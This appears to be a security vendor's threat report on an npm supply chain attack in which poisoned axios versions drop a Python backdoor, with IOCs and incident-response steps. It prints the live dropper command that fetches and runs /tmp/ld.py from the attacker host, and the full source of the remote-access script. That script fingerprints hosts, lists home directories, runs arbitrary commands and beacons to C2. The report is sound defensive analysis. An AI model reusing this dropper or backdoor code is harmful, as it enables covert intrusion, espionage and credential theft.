From Nodes to Snakes: npm Supply Chain Attack Delivers Python Payload via axios
Executive Summary
Our researchers and MDR team identified an npm supply chain attack involving malicious axios packages that leads to the execution of a Python-based payload on infected machines. The malware fingerprints the host, collects basic system and user environment data, and then communicates with attacker-controlled infrastructure to receive follow-on instructions.
Rather than acting noisily, it appears designed to understand the system first, helping the attacker focus on valuable targets while reducing the chance of early detection. Using our eBPF-based sensor, we observed the full runtime behavior chain, from the initial process execution and file activity to the outbound network communication, allowing us to connect the suspicious package activity to the later-stage malicious behavior with high confidence.
Research Context
This activity was identified during RSA week, when software supply chain attacks were already a major focus across the security community. That context makes the timing notable, but the core issue is the attack chain itself: a poisoned npm package flow involving axios that enabled staged malware execution and system reconnaissance on affected hosts.
How the axios npm Supply Chain Attack Was Executed
This npm supply chain attack combines maintainer account takeover, dependency poisoning, and staged malware execution to compromise downstream systems.
Stage 1: Initial Access: npm Maintainer Account Takeover
We identified an npm-based supply chain attack that leads to the execution of a staged Python payload on compromised Linux systems.
The attack was facilitated by an account takeover of the primary maintainer (jasonsaayman) using a long-lived classic npm access token. The attacker changed the account email to a Proton Mail address ([email protected]), effectively locking out the legitimate owner.
This allowed the attacker to publish directly to npm, bypassing:
- CI/CD pipelines
- SLSA provenance controls
- Code review gates
Stage 2: Payload Delivery Through Poisoned axios Versions
The attack begins with the download of a Python script (ld.py) from packages.npm[.]org/product2.
Both release branches were poisoned:
These were published within 39 minutes, targeting both the 1.x and legacy 0.x branches to maximize exposure. Any project using a caret range (^1.14.0 or ^0.30.0) would pull the compromised version on the next npm install.
Stage 3: Pre-Staging and Dependency Obfuscation
A pre-staging tactic was used where a clean version of the malicious dependency ([email protected]) was published 18 hours before the attack to build registry history and avoid new-package scanner alerts.
The package disguised itself as the legitimate crypto-js library by copying its description, author name, and repository URL. The malicious 4.2.1 version was published just before the axios releases.
The setup.js postinstall dropper uses two layers of obfuscation to avoid static analysis:
- Reversed Base64 encoding with padding character substitution
- XOR cipher with the key
OrDeR_7077and a constant value of333

Stage 4: Host Fingerprinting and Delayed Execution
Rather than immediately pulling a visible second-stage payload, the malware first profiles the host, gathers system artifacts, and generates a unique identifier for the machine.
Only after this initial fingerprinting does it communicate with attacker-controlled infrastructure, a technique likely intended to reduce exposure to automated scanning and signature-based detection.
Once executed, the malware gathers operating system artifacts and builds a unique signature before proceeding to the next stage of the attack. This approach helps evade scanners looking for a direct second-stage payload originating from http://sfrclak[.]com:8000/6202033.
Stage 5: Cross-Platform Payload Behavior
The attacker primarily targets Linux systems but includes payloads for macOS and Windows.
The script:
- Generates a unique ID for the compromised host
- Detects the operating system type based on CPU architecture
- Locates the user’s home directory
- Crawls the file system to locate specific target files
macOS
- C++ compiled Mach-O universal binary
- Path:
/Library/Caches/com.apple.act.mond - Disguised as an Apple system process
- Capable of self-signing injected payloads via
codesign
Windows
- Copies PowerShell to
%PROGRAMDATA%\wt.exe - Establishes persistence via a
Runkey namedMicrosoftUpdate - Uses VBScript and batch files for re-download resilience

Stage 6: Command-and-Control and Runtime Activity
After constructing the initial request, the script encodes the data in Base64 and exfiltrates it to the attacker’s URL via a unique path over port 8000.
Only after this step does the script proceed to its core function.

Within this function:
- The malware gathers metadata about the compromised host
- Enters an infinite loop to execute its primary tasks
- Continuously monitors the process tree
- Retains all previously collected system data
To evade defensive mechanisms, the malware accesses Linux OS data directly by reading system files instead of relying on standard CLI commands.
If running with elevated privileges, it attempts to extract process ownership and usernames directly from /etc/passwd.
We assess that the attacker monitors infected machines and may use stolen credentials to take full control of the host.

Stage 7: Anti-Forensics and Evasion
After execution, the dropper:
- Deletes itself
- Removes the
package.jsoncontaining the malicious postinstall hook - Replaces it with a clean version
A developer inspecting node_modules/ afterward sees a benign-looking package. However, the presence of the plain-crypto-js folder remains sufficient proof that the dropper executed.
Stage 8: Attribution and Motivation
The attack is assessed as espionage-oriented rather than financially motivated.
The behavior indicates:
- System reconnaissance
- File enumeration
- Process monitoring
- Credential harvesting potential
- Preparation for lateral movement
No cryptocurrency mining or ransomware activity was observed, suggesting intelligence collection and long-term access objectives.
Two additional malicious packages distributing the same payload include:
@shadanai/openclaw(2026.3.28-2,2026.3.28-3,2026.3.31-1,2026.3.31-2)@qqbrowser/[email protected]
CDN caches were also observed serving malicious artifacts with long-lived cache headers, meaning some cached copies may persist even after npm removal.
This activity occurred shortly after supply chain attacks attributed to the TeamPCP threat group targeting Trivy, KICS, LiteLLM, and Telnyx. While post-compromise behavior is similar, no direct attribution has been confirmed.
How to Detect and Respond to the npm Supply Chain Attack
The following steps outline how to identify, contain, and remediate systems affected by the malicious axios packages and staged Python payload.

Immediate Response Actions
Step 0: Identify Compromised Versions
Check your dependency tree and lockfiles for:
Search for the presence of the malicious dependency:
plain-crypto-jsinnode_modules
Step 1: Terminate Malicious Processes
On Linux systems, identify and terminate the Python payload:
ps aux | grep "ld.py"
kill -9 <PID>Copied
On macOS:
- Terminate processes related to
/Library/Caches/com.apple.act.mond
On Windows:
- Terminate
wt.exeprocesses running from%PROGRAMDATA%
Step 2: Block Command-and-Control (C2) Communication
The malware beacons to attacker-controlled infrastructure every 60 seconds.
Block immediately at your firewall or WAF:
- Domain:
sfrclak[.]com - Port:
8000(outbound)
Step 3: Rotate These Credentials Now
The malware crawled ~/.config, ~/Documents, and ~/Desktop on its very first run and sent a full file inventory to the attacker.
They know exactly what credentials exist on your runner. Assume all of the following are compromised:
- CI/CD secret variables and environment variables
- SSH keys on or used by the runner
- Cloud provider keys (AWS, GCP, Azure)
- Git hosting tokens (GitHub/GitLab PATs)
- Container registry credentials
- Any API keys in
~/.configor~/Documents
Rotate every one of these. The attacker has had the ability to request the actual file contents at any time via remote command since the malware first ran.
Step 4: Audit for Lateral Movement
The malware read /etc/passwd and sent the full user list to the attacker. Check whether any of those accounts were used abnormally:
# Check recent logins across all users
last -n 50
# Look for unusual sudo usage
grep "sudo" /var/log/auth.log | tail -50
# Check for new SSH keys added to any user
find /home /root -name "authorized_keys" -newer /tmp/ld.py 2>/dev/nullCopied
Step 5: Isolate Affected Systems
Remove compromised CI/CD runners from your pool immediately.
- Do not wipe systems yet — preserve for forensic analysis
- Delay new releases until the environment is verified clean
For future protection:
Enforce --ignore-scripts in CI/CD pipelines
Use npm ci with committed lockfiles
/bin/sh -c curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &Copied
Indicators of Compromise (IOCs)
| Type | Value |
| C2 Domain | sfrclak.com |
| C2 IP | 142.11.206.73 |
| Malicious Package | [email protected] |
| Malicious Dependency | [email protected] |
| Linux Payload Path | /tmp/ld.py |
| macOS Payload Path | /Library/Caches/com.apple.act.mond |
| Windows Payload Path | %PROGRAMDATA%\wt.exe |
| macOS SHA256 | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
| Windows SHA256 | 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 |
| Tracking IDs | GHSA-fw8c-xr5c-95f9, MAL-2026-2306, SNYK-JS-PLAINCRYPTOJS-15850652 |
| Attacker Account | npm:nrwise |
Malicious Python Script Sample
import string
import secrets
import os
import pwd
import platform
import time
import sys
import subprocess
import base64
import shlex
from pathlib import Path
import json
from urllib.parse import urlsplit
import datetime
import http.client
import sys
def get_os():
arch = platform.machine().lower()
if arch in ("x86_64", "amd64"):
return "linux_x64"
elif "arm" in arch or "aarch" in arch:
return "linux_arm"
else:
return "linux_unknown"
def get_boot_time():
with open("/proc/uptime", "r") as f:
uptime_seconds = float(f.readline().split()[0])
boot_time = datetime.datetime.now() - datetime.timedelta(seconds=uptime_seconds)
return boot_time
def get_host_name():
with open("/proc/sys/kernel/hostname", "r") as f:
return f.read().strip()
def get_user_name():
return os.getlogin()
def get_installation_time():
install_log_path = "/var/log/installer"
dpkg_log_path = "/var/log/dpkg.log"
if os.path.exists(install_log_path):
install_time = os.path.getctime(install_log_path)
elif os.path.exists(dpkg_log_path):
install_time = os.path.getctime(dpkg_log_path)
else:
return ""
return datetime.datetime.fromtimestamp(install_time)
def get_system_info():
manufacturer = ""
product_name = ""
try:
with open("/sys/class/dmi/id/sys_vendor", "r") as f:
manufacturer = f.read().strip()
except FileNotFoundError:
pass
try:
with open("/sys/class/dmi/id/product_name", "r") as f:
product_name = f.read().strip()
except FileNotFoundError:
pass
return manufacturer, product_name
def get_process_list():
process_list = []
current_pid = os.getpid()
for pid in os.listdir("/proc"):
if pid.isdigit():
try:
cmdline_path = os.path.join("/proc", pid, "cmdline")
if os.path.exists(cmdline_path):
with open(cmdline_path, "r") as cmdline_file:
cmdline = cmdline_file.read().replace("\x00", " ").strip()
else:
cmdline = "N/A"
with open(os.path.join("/proc", pid, "stat"), "r") as stat_file:
stat_content = stat_file.read().split()
ppid = int(stat_content[3])
start_time_ticks = int(stat_content[21])
with open("/proc/uptime", "r") as uptime_file:
uptime_seconds = float(uptime_file.readline().split()[0])
system_boot_time = datetime.datetime.now() - datetime.timedelta(
seconds=uptime_seconds
)
start_time = system_boot_time + datetime.timedelta(
seconds=start_time_ticks
/ os.sysconf(os.sysconf_names["SC_CLK_TCK"])
)
with open(os.path.join("/proc", pid, "status"), "r") as status_file:
for line in status_file:
if line.startswith("Uid:"):
uid = int(line.split()[1])
break
else:
uid = -1
username = "N/A"
if uid != -1:
with open("/etc/passwd", "r") as passwd_file:
for passwd_line in passwd_file:
fields = passwd_line.strip().split(":")
if int(fields[2]) == uid:
username = fields[0]
break
if int(pid) == current_pid:
process_list.append(
(int(pid), ppid, username, start_time, "*" + cmdline)
)
else:
process_list.append((int(pid), ppid, username, start_time, cmdline))
except (FileNotFoundError, IndexError, ValueError):
pass
return process_list
def print_process_list():
process_list = get_process_list()
str = ""
for pid, ppid, username, start_time, cmdline in process_list:
if len(cmdline) > 60:
cmdline = cmdline[:57] + "..."
start_time_str = start_time.strftime("%Y-%m-%d %H:%M:%S")
str += (
"{:<10} {:<10} {:<15} {:<25} {:<}".format(
pid, ppid, username, start_time_str, cmdline
)
+ "\n"
)
str += "\n"
return str
def generate_random_string(length):
characters = string.ascii_letters + string.digits
return "".join(secrets.choice(characters) for _ in range(length))
def do_action_ijt(ijtbin, param):
payload = base64.b64decode(b64_string)
file_path = f"/tmp/.{generate_random_string(6)}"
try:
with open(file_path, "wb") as file:
file.write(payload)
os.chmod(file_path, 0o777)
subprocess.Popen(
[file_path] + shlex.split(param.decode("utf-8", errors="strict"))
)
except Exception as e:
return {
"status": "Zzz",
"msg": str(e)
}
return {
"status": "Wow",
"msg": ""
}
def get_filelist(PathStr, id, Recurse=False):
p = Path(PathStr)
if not p.exists():
raise Exception(f"No Exists Such Dir: {PathStr}")
items = p.rglob("*") if Recurse else p.iterdir()
result = []
for item in items:
stat = item.stat()
created_ts = getattr(stat, "st_birthtime", None)
created = int(created_ts) if created_ts is not None else 0
modified = int(stat.st_mtime)
hasItems = False
if item.is_dir():
hasItems = any(item.iterdir())
result.append({
"Name": item.name,
"IsDir": item.is_dir(),
"SizeBytes": 0 if item.is_dir() else stat.st_size,
"Created": created,
"Modified": modified,
"HasItems": hasItems
})
return {
"id": id,
"parent": str(p),
"childs": result
}
def do_action_dir(Paths):
rlt = []
for item in Paths:
rlt.append(get_filelist(item["path"], item["id"]))
return rlt
def init_dir_info():
home_dir = Path.home()
init_dir = [
home_dir,
home_dir / ".config",
home_dir / "Documents",
home_dir / "Desktop",
]
rlt = []
idx = 0
for item in init_dir:
if item.exists():
rlt.append(get_filelist(str(item), "FirstReqPath-" + str(idx)))
idx = idx + 1
return rlt
def do_run_scpt(cmdline):
try:
result = subprocess.run(
cmdline,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
return {
"status": "Wow",
"msg": result.stdout
}
except Exception as e:
return {
"status": "Zzz",
"msg": str(e)
}
def do_action_scpt(scpt, param):
if not scpt:
return do_run_scpt(param)
try:
payload = base64.b64decode(scpt).decode("utf-8", errors="strict")
result = subprocess.run(
["python3", "-c", payload] + shlex.split(param),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
return {
"status": "Wow",
"msg": result.stdout
}
except Exception as e:
return {
"status": "Zzz",
"msg": str(e)
}
def send_post_request(full_url, data):
try:
url_parts = urlsplit(full_url)
host = url_parts.netloc
path = url_parts.path or "/"
if url_parts.query:
path += "?" + url_parts.query
if isinstance(data, str):
data = data.encode("utf-8")
if url_parts.scheme == "https":
conn = http.client.HTTPSConnection(host, timeout=60)
else:
conn = http.client.HTTPConnection(host, timeout=60)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)",
}
conn.request("POST", path, data, headers)
response = conn.getresponse()
response_data = response.read()
conn.close()
return response_data
except Exception:
return None
def send_result(url, body):
encoded = base64.b64encode(
json.dumps(body, ensure_ascii=False).encode("utf-8")
).decode()
return send_post_request(url, encoded)
def process_request(url, uid, data) -> bool:
if len(data) == 0:
return False
json_obj = json.loads(data)
if json_obj.get("type") == "kill":
body = {
"type": "CmdResult",
"cmd": "rsp_kill",
"cmdid": json_obj.get("CmdID"),
"uid": uid,
"status": "success",
}
send_result(url, body)
sys.exit(0)
elif json_obj.get("type") == "peinject":
rlt = do_action_ijt(
json_obj.get("IjtBin"),
json_obj.get("Param")
)
body = {
"type": "CmdResult",
"cmd": "rsp_peinject",
"cmdid": json_obj.get("CmdID"),
"uid": uid,
"status": rlt.get("status"),
"msg": rlt.get("msg"),
}
send_result(url, body)
elif json_obj.get("type") == "runscript":
rlt = do_action_scpt(
json_obj.get("Script"),
json_obj.get("Param")
)
body = {
"type": "CmdResult",
"cmd": "rsp_runscript",
"cmdid": json_obj.get("CmdID"),
"uid": uid,
"status": rlt.get("status"),
"msg": rlt.get("msg"),
}
send_result(url, body)
elif json_obj.get("type") == "rundir":
rlt = do_action_dir(json_obj.get("ReqPaths"))
body = {
"type": "CmdResult",
"cmd": "rsp_rundir",
"cmdid": json_obj.get("CmdID"),
"status": "Wow",
"uid": uid,
"msg": rlt,
}
send_result(url, body)
return True
def main_work(url, uid):
boot_time = str(get_boot_time())
installation_time = str(get_installation_time())
timezone = str(datetime.datetime.now(datetime.timezone.utc).astimezone().tzinfo)
manufacturer, product_name = get_system_info()
os_version = platform.system() + " " + platform.release() + " "
os = get_os()
while True:
current_time = str(datetime.datetime.now())
ps = print_process_list()
data = {
"hostname": get_host_name(),
"username": get_user_name(),
"os": os,
"version": os_version,
"timezone": timezone,
"installDate": installation_time,
"bootTimeString": boot_time,
"currentTimeString": current_time,
"modelName": manufacturer,
"cpuType": product_name,
"processList": ps
}
body = {
"type": "BaseInfo",
"uid": uid,
"data": data
}
response_content = send_result(url, body)
if response_content:
result = process_request(url, uid, response_content)
time.sleep(60)
def work():
url = sys.argv[1]
uid = generate_random_string(16)
os = get_os()
dir_info = init_dir_info()
body = {
"type": "FirstInfo",
"uid": uid,
"os": os,
"content": dir_info
}
send_result(url, body)
main_work(url, uid)
return True
work()Copied


